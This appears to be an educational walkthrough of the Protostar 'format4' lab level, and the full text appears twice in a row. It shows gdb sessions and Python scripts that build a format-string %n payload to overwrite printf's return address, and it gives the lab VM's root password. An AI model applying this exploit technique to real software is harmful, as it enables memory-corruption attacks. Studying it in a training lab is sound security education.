Protostar 0x14 Format4
Prev: 0x13 Format3
Next: 0x15 Final0
This level asks us to use what we know about format string exploits to redirect code execution.
There are at least two different ways to accomplish this.
From our prior experience, our first thought might be to overwrite a return address... but which return address? Directly after the "printf" is a call to "exit," so we never actually return from the "vuln" function. We'll need to overwrite the return address of "printf" itself.
If we debug this level with gdb, we can try to break at the "ret" instruction of "printf" to see what address we need to write to:
$ gdb /opt/protostar/bin/format4
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) disas printf
Dump of assembler code for function printf@plt:
0x080483cc <printf@plt+0>: jmp *0x804971c
0x080483d2 <printf@plt+6>: push $0x20
0x080483d7 <printf@plt+11>: jmp 0x804837c
End of assembler dump.
Oh, that's right - "printf" needs to be linked from the C standard library, which is done at runtime via the Global Offset Table (GOT). This mean we need to run the program first before we can peek into "printf."
(gdb) break *printf
Breakpoint 1 at 0x80483cc
(gdb) r
Starting program: /opt/protostar/bin/format4
AAAA
Breakpoint 1, __printf (format=0xbffff5b0 "AAAA\n") at printf.c:30
30 printf.c: No such file or directory.
in printf.c
(gdb) disas printf
Dump of assembler code for function __printf:
0xb7eddf90 <__printf+0>: push %ebp
...
0xb7eddfc5 <__printf+53>: ret
End of assembler dump.
Now we can break at the return instruction within "printf."
(gdb) break *printf+53
Breakpoint 2 at 0xb7eddfc5: file printf.c, line 39.
(gdb) c
Continuing.
AAAA
Breakpoint 2, 0xb7eddfc5 in __printf (format=0x8048540 "U\211\345WVS\350O") at printf.c:39
39 in printf.c
(gdb) x $esp
0xbffff59c: 0x08048508
So, our target address for our write is "0xbffff59c." At this address, we'll need to write the address of the "hello" function, which is:
(gdb) x/i hello
0x80484b4 <hello>: push %ebp
We need to write "0x080484b4" to "0xbffff59c." Our final step is to locate our input string on the stack:
$ python -c 'print "A" * 4 + "%x "*5' | /opt/protostar/bin/format4
AAAA200 b7fd8420 bffff5e4 41414141 25207825
Pretty close this time - our input string is the fourth "argument" for "printf" on the stack.
Now, what order should our writes be in? We know that %n writes 4 full bytes regardless of the size of our integer, and in the last level we were able to work around this by writing the bytes from right to left. This time, we are not so lucky: the largest byte of the address "0x080484b4" is the least significant byte, or the byte that is furthest on the right. If we try to split the address in half, unfortunately "0x84b4" on the right is larger than "0x0804" on the left... or is it?
Remember: in the previous levels, we wrote a full 32 bits for each write, and as we wrote from right to left we were technically writing zeroes to the memory address near our target. However, the target didn't know the difference either way, so we didn't mind. Now, what if we have an integer larger than 4 bytes but we write it into a 4-byte space? The largest bits will be discarded! This point is illustrated below:
32-bit| |
| 0x84b4|
+ 0x010804 |
---------------
0x1080484b4|
32-bit|080484b4|
If we write 0x10804 but overflow the bounds of the return address in the process, the "0x01" byte is omitted!
Let's get cracking on a Python script. Again, the code below is a bit lengthy and not necessarily ideal, but it should be easy to read:
import struct
addr1 = struct.pack("<I", 0xbffff59c) #this is printf's "ret"
addr2 = struct.pack("<I", 0xbffff59e)
pad_to_84b4 = "%33964d"
write1 = "%4$n" #addr1 is the 4th argument
pad_to_10804 = "%33616d"
write2 = "%5$n" #addr2 is the 5th argument
payload = addr1 + addr2 + pad_to_84b4 + write1 + pad_to_10804 + write2
print payload
If we send the output to an "input" file and run this in gdb, it works!
(gdb) r < input
...
-1208122336
code execution redirected! you win
And what about running the program normally?
$ /opt/protostar/bin/format4 < input
...
-1208122336
Nothing. Not even a crash. This must be a result of the variance in environment variables which we discussed back in the Stack5 writeup. Unfortunately, this time we don't have a NOP slide which gives us some wiggle room when selecting stack addresses. We'll need to be exact.
Let's change to "root" (password: "godmode") so that we can enable core dumps.
$ su - root
...
No directory, logging in with HOME=/
root@protostar:/# ulimit -c unlimited
Now, let's tweak our Python script so that we will generate a crash. Let's pull a random "argument" to write to with an extra %n which we will tag onto the end:
import struct
addr1 = struct.pack("<I", 0xbffff59c) #this is printf's "ret"
addr2 = struct.pack("<I", 0xbffff59e)
pad_to_84b4 = "%33964d"
write1 = "%4$n" #addr1 is the 4th argument
pad_to_10804 = "%33616d"
write2 = "%5$n" #addr2 is the 5th argument
CRASH = "%20n"
payload = addr1 + addr2 + pad_to_84b4 + write1 + pad_to_10804 + write2 + CRASH
print payload
If we run this, we get our desired crash which generates a core dump:
root@protostar:/tmp# python format4.py > input
root@protostar:/tmp# /opt/protostar/bin/format4 < input
-120812Segmentation fault (core dumped)
Let's run gdb with this core file, which should be placed into the "/tmp" directory (your core filename will vary):
root@protostar:/tmp# gdb /opt/protostar/bin/format4 core.11.format4.6328
GNU gdb (GDB) 7.0.1-debian
...
Program terminated with signal 11, Segmentation fault.
#0 0xb7ed7aa9 in _IO_vfprintf_internal (s=0xb7fd84c0, format=Cannot access memory at address 0x4
) at vfprintf.c:1950
1950 vfprintf.c: No such file or directory.
in vfprintf.c
So there was some sort of memory read error, which we expected. However, what we're concerned with is the stack pointer when "printf" hits "ret." Let's break there and continue:
(gdb) break *printf+53
(gdb) r
Starting program: /opt/protostar/bin/format4
AAAA
AAAA
Breakpoint 1, 0xb7eddfc5 in __printf (format=0x8048540 "U\211\345WVS\350O") at printf.c:39
39 printf.c: No such file or directory.
in printf.c
Current language: auto
The current source language is "auto; currently c".
(gdb) x/i $eip
0xb7eddfc5 <__printf+53>: ret
(gdb) x $esp
0xbffffb0c: or %al,-0x4dff7fc(%ebp)
It looks like the address we need to write to is actually "0xbffffb0c" this time. Let's make that quick tweak in our Python script and then remove the crash piece:
import struct
addr1 = struct.pack("<I", 0xbffffb0c) #this is printf's NEW "ret"
addr2 = struct.pack("<I", 0xbffffb0e)
pad_to_84b4 = "%33964d"
write1 = "%4$n" #addr1 is the 4th argument
pad_to_10804 = "%33616d"
write2 = "%5$n" #addr2 is the 5th argument
payload = addr1 + addr2 + pad_to_84b4 + write1 + pad_to_10804 + write2
print payload
And if we run it, we see:
root@protostar:/tmp# /opt/protostar/bin/format4 < input
...
code execution redirected! you win
We are successful yet again!
Prev: 0x13 Format3
Next: 0x15 Final0
Next: 0x15 Final0
This level asks us to use what we know about format string exploits to redirect code execution.
There are at least two different ways to accomplish this.
From our prior experience, our first thought might be to overwrite a return address... but which return address? Directly after the "printf" is a call to "exit," so we never actually return from the "vuln" function. We'll need to overwrite the return address of "printf" itself.
If we debug this level with gdb, we can try to break at the "ret" instruction of "printf" to see what address we need to write to:
$ gdb /opt/protostar/bin/format4
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) disas printf
Dump of assembler code for function printf@plt:
0x080483cc <printf@plt+0>: jmp *0x804971c
0x080483d2 <printf@plt+6>: push $0x20
0x080483d7 <printf@plt+11>: jmp 0x804837c
End of assembler dump.
Oh, that's right - "printf" needs to be linked from the C standard library, which is done at runtime via the Global Offset Table (GOT). This mean we need to run the program first before we can peek into "printf."
(gdb) break *printf
Breakpoint 1 at 0x80483cc
(gdb) r
Starting program: /opt/protostar/bin/format4
AAAA
Breakpoint 1, __printf (format=0xbffff5b0 "AAAA\n") at printf.c:30
30 printf.c: No such file or directory.
in printf.c
(gdb) disas printf
Dump of assembler code for function __printf:
0xb7eddf90 <__printf+0>: push %ebp
...
0xb7eddfc5 <__printf+53>: ret
End of assembler dump.
Now we can break at the return instruction within "printf."
(gdb) break *printf+53
Breakpoint 2 at 0xb7eddfc5: file printf.c, line 39.
(gdb) c
Continuing.
AAAA
Breakpoint 2, 0xb7eddfc5 in __printf (format=0x8048540 "U\211\345WVS\350O") at printf.c:39
39 in printf.c
(gdb) x $esp
0xbffff59c: 0x08048508
So, our target address for our write is "0xbffff59c." At this address, we'll need to write the address of the "hello" function, which is:
(gdb) x/i hello
0x80484b4 <hello>: push %ebp
We need to write "0x080484b4" to "0xbffff59c." Our final step is to locate our input string on the stack:
$ python -c 'print "A" * 4 + "%x "*5' | /opt/protostar/bin/format4
AAAA200 b7fd8420 bffff5e4 41414141 25207825
Pretty close this time - our input string is the fourth "argument" for "printf" on the stack.
Now, what order should our writes be in? We know that %n writes 4 full bytes regardless of the size of our integer, and in the last level we were able to work around this by writing the bytes from right to left. This time, we are not so lucky: the largest byte of the address "0x080484b4" is the least significant byte, or the byte that is furthest on the right. If we try to split the address in half, unfortunately "0x84b4" on the right is larger than "0x0804" on the left... or is it?
Remember: in the previous levels, we wrote a full 32 bits for each write, and as we wrote from right to left we were technically writing zeroes to the memory address near our target. However, the target didn't know the difference either way, so we didn't mind. Now, what if we have an integer larger than 4 bytes but we write it into a 4-byte space? The largest bits will be discarded! This point is illustrated below:
32-bit| |
| 0x84b4|
+ 0x010804 |
---------------
0x1080484b4|
32-bit|080484b4|
If we write 0x10804 but overflow the bounds of the return address in the process, the "0x01" byte is omitted!
Let's get cracking on a Python script. Again, the code below is a bit lengthy and not necessarily ideal, but it should be easy to read:
import struct
addr1 = struct.pack("<I", 0xbffff59c) #this is printf's "ret"
addr2 = struct.pack("<I", 0xbffff59e)
pad_to_84b4 = "%33964d"
write1 = "%4$n" #addr1 is the 4th argument
pad_to_10804 = "%33616d"
write2 = "%5$n" #addr2 is the 5th argument
payload = addr1 + addr2 + pad_to_84b4 + write1 + pad_to_10804 + write2
print payload
If we send the output to an "input" file and run this in gdb, it works!
(gdb) r < input
...
-1208122336
code execution redirected! you win
And what about running the program normally?
$ /opt/protostar/bin/format4 < input
...
-1208122336
Nothing. Not even a crash. This must be a result of the variance in environment variables which we discussed back in the Stack5 writeup. Unfortunately, this time we don't have a NOP slide which gives us some wiggle room when selecting stack addresses. We'll need to be exact.
Let's change to "root" (password: "godmode") so that we can enable core dumps.
$ su - root
...
No directory, logging in with HOME=/
root@protostar:/# ulimit -c unlimited
Now, let's tweak our Python script so that we will generate a crash. Let's pull a random "argument" to write to with an extra %n which we will tag onto the end:
import struct
addr1 = struct.pack("<I", 0xbffff59c) #this is printf's "ret"
addr2 = struct.pack("<I", 0xbffff59e)
pad_to_84b4 = "%33964d"
write1 = "%4$n" #addr1 is the 4th argument
pad_to_10804 = "%33616d"
write2 = "%5$n" #addr2 is the 5th argument
CRASH = "%20n"
payload = addr1 + addr2 + pad_to_84b4 + write1 + pad_to_10804 + write2 + CRASH
print payload
If we run this, we get our desired crash which generates a core dump:
root@protostar:/tmp# python format4.py > input
root@protostar:/tmp# /opt/protostar/bin/format4 < input
-120812Segmentation fault (core dumped)
Let's run gdb with this core file, which should be placed into the "/tmp" directory (your core filename will vary):
root@protostar:/tmp# gdb /opt/protostar/bin/format4 core.11.format4.6328
GNU gdb (GDB) 7.0.1-debian
...
Program terminated with signal 11, Segmentation fault.
#0 0xb7ed7aa9 in _IO_vfprintf_internal (s=0xb7fd84c0, format=Cannot access memory at address 0x4
) at vfprintf.c:1950
1950 vfprintf.c: No such file or directory.
in vfprintf.c
So there was some sort of memory read error, which we expected. However, what we're concerned with is the stack pointer when "printf" hits "ret." Let's break there and continue:
(gdb) break *printf+53
(gdb) r
Starting program: /opt/protostar/bin/format4
AAAA
AAAA
Breakpoint 1, 0xb7eddfc5 in __printf (format=0x8048540 "U\211\345WVS\350O") at printf.c:39
39 printf.c: No such file or directory.
in printf.c
Current language: auto
The current source language is "auto; currently c".
(gdb) x/i $eip
0xb7eddfc5 <__printf+53>: ret
(gdb) x $esp
0xbffffb0c: or %al,-0x4dff7fc(%ebp)
It looks like the address we need to write to is actually "0xbffffb0c" this time. Let's make that quick tweak in our Python script and then remove the crash piece:
import struct
addr1 = struct.pack("<I", 0xbffffb0c) #this is printf's NEW "ret"
addr2 = struct.pack("<I", 0xbffffb0e)
pad_to_84b4 = "%33964d"
write1 = "%4$n" #addr1 is the 4th argument
pad_to_10804 = "%33616d"
write2 = "%5$n" #addr2 is the 5th argument
payload = addr1 + addr2 + pad_to_84b4 + write1 + pad_to_10804 + write2
print payload
And if we run it, we see:
root@protostar:/tmp# /opt/protostar/bin/format4 < input
...
code execution redirected! you win
We are successful yet again!
Prev: 0x13 Format3
Next: 0x15 Final0